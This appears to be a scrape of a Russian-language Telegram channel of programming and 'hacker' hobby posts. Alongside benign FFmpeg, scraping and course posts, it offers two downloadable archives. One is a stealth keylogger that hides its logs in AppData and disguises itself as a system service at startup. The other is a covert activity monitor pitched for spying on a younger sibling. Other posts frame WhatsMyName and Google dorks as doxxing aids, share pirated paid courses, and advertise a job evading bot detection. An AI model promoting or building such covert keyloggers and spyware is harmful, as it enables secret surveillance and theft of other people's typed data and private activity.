Тупо мульти-тул для медиафайлов. Целый набор инструментов с открытым исходным кодом, который умеет практически всё:
- Конвертировать форматы: Из MP4 в WebM, из WAV в MP3 и т.д., вообще ЛЮБЫЕ варит!
- Резать и склеивать видео/аудио;
- Извлекать аудио/картинки;
- Работать с потоковым видео (веб-камеры, камеры видео-наблюдения).
Работает через командную строку, легко интегрируется в проекты. Лютая база для тех, кто хочет делать проекты связанные с обработкой медиа.
Репозиторий.
Please open Telegram to view this post
VIEW IN TELEGRAM
👍52❤13🥰3😡2❤🔥1🎉1👌1😭1
Для работы использовал FFMPEG.
Как легкий пример для поста выше.
Как легкий пример для поста выше.
import os
import ffmpeg
class VideoToGifConverter:
def __init__(self, source_dir="video", target_dir="gif", frame_rate=2):
self.source_dir = source_dir
self.target_dir = target_dir
self.frame_rate = frame_rate
os.makedirs(self.source_dir, exist_ok=True)
os.makedirs(self.target_dir, exist_ok=True)
def get_video_files(self):
return [
file_name
for file_name in os.listdir(self.source_dir)
if file_name.lower().endswith(".mp4")
]
def convert_videos_to_gif(self):
video_files = self.get_video_files()
for video_file in video_files:
base_name = os.path.splitext(video_file)[0]
gif_file_name = base_name + ".gif"
input_path = os.path.join(self.source_dir, video_file)
output_path = os.path.join(self.target_dir, gif_file_name)
stream = ffmpeg.input(input_path)
stream = stream.filter("fps", fps=self.frame_rate)
stream = ffmpeg.output(stream, output_path)
ffmpeg.run(stream)
def main():
converter = VideoToGifConverter(source_dir="video", target_dir="gif", frame_rate=2)
converter.convert_videos_to_gif()
if __name__ == "__main__":
main()
👍37❤9👏4🔥3🤣3🥰2❤🔥1
🌐 Расскажу про один сайт, который может как позабавить, так и заставить задуматься.
WhatsMyName.app
🚀 Это простой, но мощный инструмент, который делает одну вещь: ищет конкретный никнейм по сотням сайтов и социальных сетей. Настоящая находка для тех, кто хочет узнать больше о цифровом следе.
Как это работает:
- зашли на сайт;
- вводите в поисковую строку любой никнейм (свой старый, ник друга или тот, что хотите занять);
- нажимаете на кнопку поиска;
- получаете целый список сайтов, где этот ник уже используется, с прямыми ссылками на профили.
🖥 Зачем вам это может понадобиться? Потому что вы мамкины хакеры
1) Проверить свой "цифровой след" 👣;
2) Найти человека в других соцсетях 🧐
3) наглядно увидеть, как легко нас можно найти в сети.
Дальше расскажу про "Google Dorks" - технике, которая превратит ваш поисковик в мощный инструмент для расследованийдокса ...
WhatsMyName.app
Как это работает:
- зашли на сайт;
- вводите в поисковую строку любой никнейм (свой старый, ник друга или тот, что хотите занять);
- нажимаете на кнопку поиска;
- получаете целый список сайтов, где этот ник уже используется, с прямыми ссылками на профили.
1) Проверить свой "цифровой след" 👣;
2) Найти человека в других соцсетях 🧐
3) наглядно увидеть, как легко нас можно найти в сети.
Дальше расскажу про "Google Dorks" - технике, которая превратит ваш поисковик в мощный инструмент для расследований
Please open Telegram to view this post
VIEW IN TELEGRAM
👍63❤14🤯5❤🔥1🥰1🙏1
This media is not supported in your browser
VIEW IN TELEGRAM
У меня такого контента нет и я не уверен, что смог бы также это все записывать. Для тех, кто реально хочет смотреть что-то полезное, обучающее.
Я сам повстречал в ТТ Романа и был удивлен, почему у него так мало подписоты. Причина удивления: у него супер-годный контент, он на практике представляет сложные вещи простыми, объясняя каждое свое действие словами.
В целом, вот пример видео-ролика, от себя рекомендую подписаться, смотреть, учиться, слушать, вникать. Контент - не развлекательный, конечно, но полезный, познавательный и это факт.
Дал бы вам ссылку на его Телеграм-канал, но он таковой не ведет.
Насколько знаю, человек также проводит занятия, у него есть ученики. Так что если вы ищите ментора, который может помочь Вам в начале пути, попробуйте обратиться.
Еще раз, ссылка на сам канал и пример видео.
Please open Telegram to view this post
VIEW IN TELEGRAM
👍53❤23❤🔥10😁6🤣4🌚1
Please open Telegram to view this post
VIEW IN TELEGRAM
❤152🤯22😁15🤣10❤🔥7🔥3💋2🥰1
Google Dorks — техника, которая превратит ваш поисковик в мощный инструмент для расследований.
Что это за "дорки" такие?
Давайте на примерах. Хотите найти презентации по маркетингу с какого-нибудь университетского сайта?
- обычный поиск: презентация маркетинг (получите тонну рекламы и курсов) ❌;
- filetype:ppt site:edu маркетинг (найдет только файлы PowerPoint (.ppt) с сайтов в доменной зоне .edu) ✅;
- site: — ищет информацию только на одном конкретном сайте;
- filetype: — ищет файлы определённого типа. Очень полезно для поиска документов, книг, отчетов;
- inurl: — ищet слoвa прямo в URL-адрeсe стрaницы;
- intitle: — ищет только в заголовках страниц.
Зачем тебе это нужно? Для учебы и работы 🎓, проверить безопасность своего сайта и утолить любопытство... 🕵️♀️
Please open Telegram to view this post
VIEW IN TELEGRAM
❤105👍21🔥9⚡5❤🔥3💋2😨1
key.rar
2.3 KB
Таргетированный кейлоггер, активирующийся только в окнах определённых приложений и умеющий корректировать раскладку. Учитывая, что вы вряд ли сможете его нормально закриптовать и вряд ли продумаете механизм возврата логов на Ваш ПК, это безопасно.
Ключевые фичи:
- скрипт активируется только тогда, когда вы работаете в заданных программах (браузеры, мессенджеры, игры). В остальное время он спит и не тратит ресурсы;
- распознавание раскладки: Корректно записывает текст вне зависимости от того, какая раскладка (RU/EN) активна;
- скрытность: Логи хранятся в недрах папки AppData, а в автозагрузке скрипт маскируется под системный сервис;
- все цели, имена файлов и пути легко меняются через config.json без необходимости лезть в код;
- вся логика инкапсулирована в класс, а ошибки не валят программу, а тихо записываются в отдельный лог-файл для анализа.
Хорошего дня!
P.S. путь к логам:
%APPDATA%\SystemCache\session.dat
Please open Telegram to view this post
VIEW IN TELEGRAM
❤51❤🔥11😱8👍5🦄2🔥1
log.rar
1.5 KB
Еще одно баловство: 🚀 Системный Аудитор: Полный лог активности
Незаметно работает в фоне и фиксирует два ключевых типа действий:
- 📂 Навигация по файлам: Скрипт отслеживает, какие папки вы открываете в "Проводнике" Windows, и скрупулезно записывает каждый ваш шаг. Идеально, чтобы вспомнить, где лежал тот самый файл;
- 💻 Запуск программ: Ни одно запущенное приложение не останется незамеченным. Аудитор мгновенно фиксирует старт любого нового процесса (.exe), записывая его имя и время запуска.
👀 Для чего это нужно?
А ВЫ ТИПО НЕ ЗНАЕТЕ. СОБРАТЬ КОМПРОМАТ НА МЛАДШЕГО БРАТА КОТОРЫЙ НАШЕЛ ПАПКУ С ПРОНОМ‼️
Незаметно работает в фоне и фиксирует два ключевых типа действий:
- 📂 Навигация по файлам: Скрипт отслеживает, какие папки вы открываете в "Проводнике" Windows, и скрупулезно записывает каждый ваш шаг. Идеально, чтобы вспомнить, где лежал тот самый файл;
- 💻 Запуск программ: Ни одно запущенное приложение не останется незамеченным. Аудитор мгновенно фиксирует старт любого нового процесса (.exe), записывая его имя и время запуска.
А ВЫ ТИПО НЕ ЗНАЕТЕ. СОБРАТЬ КОМПРОМАТ НА МЛАДШЕГО БРАТА КОТОРЫЙ НАШЕЛ ПАПКУ С ПРОНОМ
Please open Telegram to view this post
VIEW IN TELEGRAM
❤81🆒8👍5❤🔥3😁1💯1
Или вам все про вирусы да математику рассказывать?
Please open Telegram to view this post
VIEW IN TELEGRAM
👍213❤26❤🔥6🥰3🤔3🐳2🔥1🎉1
Поэтому потратил вечер и написал свой собственный десктопный конвертер медиафайлов. Полностью на Python + PyQt6, в качестве ядра - FFMPEG.
Главная цель была — сделать быстро, удобно и без рекламы. Никаких подписок (только на мой канал
- кидаешь файлы пачкой (batch processing);
- удобный Drag & Drop;
- фото к фото, видео к видео — без путаницы;
- работает офлайн, никакой интернет не нужен.
Как и сказал, под капотом трудится всеядный FFmpeg, так что на входе можно "скармливать" ему почти всё что угодно, от старых .flv до профессиональных .mov.
😜 Скачать код тут. Много реакций и соберу в .exe с FFMPEG внутри для обычных, не шарящих работяг.
Please open Telegram to view this post
VIEW IN TELEGRAM
❤360👍46🥰26🔥17❤🔥5👏4💘4
Офигеть, спасибо @BlueFaceBaby99 и @alexzactly ❤️
Это буквально первые донаты в моей жизни за "просто так", просто потому что я существую и чем-то занимаюсь. При том, что я об этом нигде не просил и не писал.
Очень приятно, нереально!🔥
Это буквально первые донаты в моей жизни за "просто так", просто потому что я существую и чем-то занимаюсь. При том, что я об этом нигде не просил и не писал.
Очень приятно, нереально!
Please open Telegram to view this post
VIEW IN TELEGRAM
❤190👍22🥰10🔥6🆒4❤🔥3
Доброе утро. Все, у кого сломался злюка (бот-модератор) и теперь при заходе в комментарии отправляется его меню - зайдите в диалог с ним и отправьте:
Я упустил момент и один человек этим воспользовался, немного сломав опыт использования. Меню пропадет после отправки команды. Сам убрать у Вас это не могу, т.к. это индивидуальные настройки Вашего чата.
/hide_menu
Я упустил момент и один человек этим воспользовался, немного сломав опыт использования. Меню пропадет после отправки команды. Сам убрать у Вас это не могу, т.к. это индивидуальные настройки Вашего чата.
🤯31👍7🥰5❤1
Тут каждый день в чатах пишут, что хотят начать, не знают с чего. Вот Вам самый лучший на сегодня БЕСПЛАТНЫЙ курс для "вкатки" , как это можно называть.
Он сейчас почему-то не на хайпе, ну и ладно... Значит, ссылка на плейлист:
ТЫК.
Немного инфы: CS50 (Computer Science 50) — это легендарный и очень популярный вводный курс по информатике и основам программирования, разработанный Гарвардским университетом. С 2015 года он также преподается в Йельском университете.
1. Для кого? Курс рассчитан на абсолютных новичков или тех, у кого есть минимальные начальные знания в программировании. Он является отличной отправной точкой для всех, кто интересуется компьютерными науками, независимо от их предыдущего опыта;
2. Чему учит? CS50 знакомит с фундаментальными концепциями информатики и программирования. Вы изучите:
- Базовые основы программирования (циклы, условные переходы, функции и т.д.);
- Принципы работы с командной строкой в Linux;
- Системы счисления;
- Алгоритмы и структуры данных;
- Введение в различные языки программирования, такие как C, Python, SQL, а также основы HTML, CSS и JavaScript;
- Также затрагивают основы кибербезопасности и искусственного интеллекта.
Please open Telegram to view this post
VIEW IN TELEGRAM
❤108❤🔥16👍14🔥6🥰2
This media is not supported in your browser
VIEW IN TELEGRAM
Найден способ узнать аниме по любому кадру. Бесплатно и моментально определит сериал, эпизод и таймкод по вашему скриншоту. Распознает даже мемы.
Ссылка
PS: сайт поднялся!
Please open Telegram to view this post
VIEW IN TELEGRAM
❤145🤣27🥰19🤷♀11👍9❤🔥6🙏2😡2
Всем хорошего вечера!
👨💻 Из того, что в видосах не показывал, добавил обрезку черных полос, но уже не захардкодил, а делаем это интеллектуально, для каждого видео индивидуально. + не только для скачанных с youtube, а и для локальных файлов. + добавил возможность наложить звук, а также регулировать громкость наложенного/родного звука видео, чтобы их можно было смешать или добавить фоновую музыку.
СКАЧАТЬ
P.S. постарался FFPEG и yt-dlp упаковать, но на своей системе корректность работы проверить не могу, ибо они у меня в PATH по умолчанию. Но вроде, должно работать.
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥143❤44👍19❤🔥4😢3🥰1🌭1😡1
- Полное овладение Python (2023);
- Bogdan Stashchuk(Udemy) Полный курс по Python (2022);
- Python для хакера . Серия статей . Изучаем Python на практических примерах (2022);
- Основы математики для Data Science;
- Профессия 1с-разработчик c нуля до PRO;
- Сквозная аналитика;
- Adobe After Effects с 0 до PRO;
- Веб-аналитик с нуля до Junior;
- Fashion-скетчинг.
Кто с Украины, используем VPN, ибо все на облаке mail.ru выложено.
P.S. качество курсов по понятным причинам проверить не смог. Знаю только, что в общем доступе их нет и изначально они платные. Если у кого-то был опыт, делитесь в комментариях советами.
Please open Telegram to view this post
VIEW IN TELEGRAM
❤147👍31🥰15❤🔥3🏆3🤨1
Давайте сравним на казуальной задаче: парсинг веб-страницы. Задача - собрать все заголовки с главной страницы Wikipedia.
На Python для этого нужно использовать только: requests, BeautifulSoup. А вот на C++ придется по-мучится с libcurl и Gumbo-parser.
Что у нас получается на Python? Буквально 7 строк. А вот, что получится для С++:
#include <iostream>
#include <string>
#include <vector>
#include <curl/curl.h>
#include <gumbo.h>
size_t write_callback(void *contents, size_t size, size_t nmemb, std::string *s) {
size_t new_length = size * nmemb;
try {
s->append((char*)contents, new_length);
} catch(std::bad_alloc &e) {
return 0;
}
return new_length;
}
void search_for_headers(GumboNode* node, std::vector<std::string>& headers) {
if (node->type != GUMBO_NODE_ELEMENT) {
return;
}
GumboTag tag = node->v.element.tag;
if (tag >= GUMBO_TAG_H1 && tag <= GUMBO_TAG_H6) {
GumboVector* children = &node->v.element.children;
for (unsigned int i = 0; i < children->length; ++i) {
GumboNode* child = static_cast<GumboNode*>(children->data[i]);
if (child->type == GUMBO_NODE_TEXT) {
headers.push_back(child->v.text.text);
}
}
}
GumboVector* children = &node->v.element.children;
for (unsigned int i = 0; i < children->length; ++i) {
search_for_headers(static_cast<GumboNode*>(children->data[i]), headers);
}
}
int main() {
CURL *curl;
CURLcode res;
std::string html_content;
curl = curl_easy_init();
if (curl) {
curl_easy_setopt(curl, CURLOPT_URL, "https://ru.wikipedia.org/wiki/Заглавная_страница");
curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, write_callback);
curl_easy_setopt(curl, CURLOPT_WRITEDATA, &html_content);
res = curl_easy_perform(curl);
if (res != CURLE_OK) {
std::cerr << "Ошибка curl_easy_perform(): " << curl_easy_strerror(res) << std::endl;
}
curl_easy_cleanup(curl);
}
if (html_content.empty()) {
std::cerr << "Не удалось загрузить HTML." << std::endl;
return 1;
}
GumboOutput* output = gumbo_parse(html_content.c_str());
std::vector<std::string> headers;
search_for_headers(output->root, headers);
std::cout << "Найденные заголовки:" << std::endl;
for (const auto& header : headers) {
std::cout << "- " << header << std::endl;
}
gumbo_destroy_output(&kGumboDefaultOptions, output);
return 0;
}
Как видите, код на C++ требует:
- ручного управления зависимостями: нужно установить и слинковать библиотеки;
- более низкоуровневой работы: вы вручную настраиваете curl, пишете callback-функцию для сохранения данных;
- явного обхода дерева: вы рекурсивно обходите DOM-дерево, построенное Gumbo;
- ручного управления памятью: вы обязаны вызвать gumbo_destroy_output, чтобы избежать утечек памяти.
Please open Telegram to view this post
VIEW IN TELEGRAM
👍100❤39🤯6❤🔥4🔥2🥰1🌭1
На платформе доступны такие модели, как:
- GPT-4o Mini
- Gemini Flash
- DeepSeek
- Claude Haiku
- Claude Sonnet
- GPT-4.1
Please open Telegram to view this post
VIEW IN TELEGRAM
❤🔥56👍20❤10🔥9⚡1🤝1
РЕПОЗИТОРИЙ | САЙТ
Chalk.ist и нужен только для того, чтобы делать из вашего скучного исходного кода потрясающие изображения.
✨ Основные возможности:
- Гибкое управление кодовыми блоками: Добавляйте, удаляйте, меняйте порядок и настраивайте языки для ваших кодовых блоков.
- Визуальные преобразования: Выделяйте важные строки, фокусируйтесь на конкретных участках или показывайте различия (добавления/удаления) в коде.
- Полная кастомизация: фон, шрифты, окно, темы, бейджи.
Please open Telegram to view this post
VIEW IN TELEGRAM
❤54👍13🔥11❤🔥3
Тут ребята предлагают работу, я взяться не могу, но дам Вам объявление. Если знакомы с веб-автиматизацией и Selenium, Playwright - попробуйте подать им заявку (разверните, чтобы полностью прочитать вакансию. Подойдет как разовое сотрудничество так и постоянное!):
Привет! У нас открыта вакансия инженера по автоматизации на Python. Ищем того, кто готов работать с браузерной автоматизацией, прокси и ИИ. Если тебе интересно, откликайся и приходи на интервью уже сегодня. Не упусти шанс стать частью проекта!
Должность: Инженер по автоматизации на Python: браузерная автоматизация, прокси и интеграция ИИ
Формат: Удалённо (Пн-Пт, с 7:00 до 16:00 по EST)
Тип занятости: Полный рабочий день, контракт (с оплачиваемым испытательным сроком 1 месяц)
О PRAI.co
PRAI.co трансформирует сферу PR с помощью искусственного интеллекта. Наша основная платформа, PRAI Transformer помогает брендам достигать широкой видимости, формировать повестку и лидировать в цифровом пространстве.
Сейчас мы создаём инструменты следующего поколения: кастомные браузерные решения, ИИ-автоматизацию и масштабируемые системы на основе прокси. Если вы увлечены автоматизацией и хотите развиваться в быстрорастущем AI-стартапе, будем рады познакомиться.
Обязанности
Мы ищем Python-инженера среднего уровня, который поможет расширить систему браузерной автоматизации.
Вы будете решать реальные задачи: эмуляция поведения пользователей в браузере, адаптация ботов под изменения фронтенда и внедрение ИИ-компонентов в рабочие процессы.
Отличная возможность для специалиста, который хочет перейти от стандартной автоматизации к более сложным системам и ИИ-инструментам.
Основные задачи
-Написание и поддержка скриптов автоматизации с использованием Selenium или Playwright
-Эмуляция поведения реальных пользователей (движение мыши, задержки, ввод текста, скроллинг)
-Интеграция прокси-сервисов и ротация IP-адресов
-Отладка проблем, связанных с детектированием ботов и капчами
-Адаптация скриптов к изменениям во фронтенде сайтов
-Подключение автоматизации к базам данных (MongoDB, PostgreSQL) и Redis
-Внедрение лёгких ИИ-моделей или API для умной логики
-Мониторинг производительности и отчётность перед инженерной командой
Требования
-2–3 года опыта разработки на Python, включая автоматизацию
-Опыт с браузерной автоматизацией (Playwright, Selenium или Puppeteer)
-Понимание прокси, ротации IP и методов обхода детектирования
-Опыт работы с динамическими веб-сайтами (HTML, CSS, JavaScript)
-Знание Git, асинхронного Python и отладочных инструментов
-Уверенное владение английским для тех. терминов
-Готовность обучаться продвинутым методам: кастомизация браузеров, ИИ-интеграции и пр.
Преимущества
-Опыт с undetected-chromedriver, stealth-плагинами или методами обхода антиботов
-Знание Docker, Redis или систем фоновых задач (например, Celery)
-Знакомство с AI/ML-инструментами (OpenAI API, Langchain, Hugging Face)
-Базовое понимание системного дизайна и мониторинга производительности
Что мы предлагаем
-Удалённая работа с графиком по EST
-Оплачиваемый месяц на испытательном сроке с возможностью повышения ставки по итогам
-Менторство от старших инженеров, работающих с продвинутыми ИИ- и автоматизационными системами
-Работа над продуктом с глобальным охватом и реальными пользователями
-Быстрый темп, масштаб, рост и реальное влияние вашего кода
Как подать заявку
Отправьте на @olexandra_vakul :
-Краткое сообщение о вашем опыте с браузерной автоматизацией и мотивации на эту роль
-Резюме или профиль в LinkedIn
-GitHub или примеры кода (если есть)
Если вы готовы прокачать свои навыки в Python-автоматизации в реальной ИИ-среде, мы готовы работать с вами.
Откликайтесь, построим новое поколение умной автоматизации.
Please open Telegram to view this post
VIEW IN TELEGRAM
😭141❤20👍14😁7🤯6🔥3🥰3🐳3
Всем привет. В общем, после влета дрона в мой дом.... На той неделе закончил со сборкой ПК. SSD со старого (сгоревшего), который в целом выглядел ОК визуально, оказался не рабочим, 3 ячейки памяти из 4 неработоспособны, ибо обгорели. Перенести инфу, проекты и рабочий телеграм-аккаунт, с которого общался с заказчиками, я не смог, ибо диск только стартовал, а при попытке взаимодействовать с файловой системой, перезагрузка -> bios.
Сейчас я глобально в депрессии, ибо попал на много денег, т.к. квартира была моя, как и все имущество в ней. Восстанавливать мне государство ее не будет: для подачи документов на это нужно идти в военкомат, а идти в военкомат… Вы понимаете.
Я все еще помню о том, что есть заказчики, с которыми работали и я пропал внезапно. Поверьте, не по моей воле. Вам отвечать тоже возможности не было, т.к. аккаунт для рабочего общения был только на компьютере и телефоне для работы, которые я с собой в укрытие очевидно не забирал в ту ночь.
Поэтому всех, с кем работал/от кого получил средства и не дал результат, прошу отписать снова через бот(а), дам вам свой новый аккаунт. Всем сразу не отвечу, ибо опять-таки, я морально не вывезу со всеми общаться. Да, неправильно, да эгоистично. Как есть. Какие-то наработки по вашим проектам остались у меня в облаке, а для кого-то все слетело. Кидать никого не намерен, либо сделаю вам проекты, либо сделаю другие, если те актуальность потеряли, либо буду постепенно возвращать деньги.
Нужно систематизировать проблему и двигаться дальше, начинать работать, ибо сейчас моральное состояние ни к черту и опускаются руки. Ни хотел никому причинить вреда/никого обидеть.
Обещаю себе и Вам с завтрашнего дня вести этот канал, делать хотя-бы 1-2 поста в день, как и 1-2 видео в день в ТТ.
Сейчас я глобально в депрессии, ибо попал на много денег, т.к. квартира была моя, как и все имущество в ней. Восстанавливать мне государство ее не будет: для подачи документов на это нужно идти в военкомат, а идти в военкомат… Вы понимаете.
Я все еще помню о том, что есть заказчики, с которыми работали и я пропал внезапно. Поверьте, не по моей воле. Вам отвечать тоже возможности не было, т.к. аккаунт для рабочего общения был только на компьютере и телефоне для работы, которые я с собой в укрытие очевидно не забирал в ту ночь.
Поэтому всех, с кем работал/от кого получил средства и не дал результат, прошу отписать снова через бот(а), дам вам свой новый аккаунт. Всем сразу не отвечу, ибо опять-таки, я морально не вывезу со всеми общаться. Да, неправильно, да эгоистично. Как есть. Какие-то наработки по вашим проектам остались у меня в облаке, а для кого-то все слетело. Кидать никого не намерен, либо сделаю вам проекты, либо сделаю другие, если те актуальность потеряли, либо буду постепенно возвращать деньги.
Нужно систематизировать проблему и двигаться дальше, начинать работать, ибо сейчас моральное состояние ни к черту и опускаются руки. Ни хотел никому причинить вреда/никого обидеть.
Обещаю себе и Вам с завтрашнего дня вести этот канал, делать хотя-бы 1-2 поста в день, как и 1-2 видео в день в ТТ.
😢754❤104😭60😨21🤯9🤣7🔥6😱6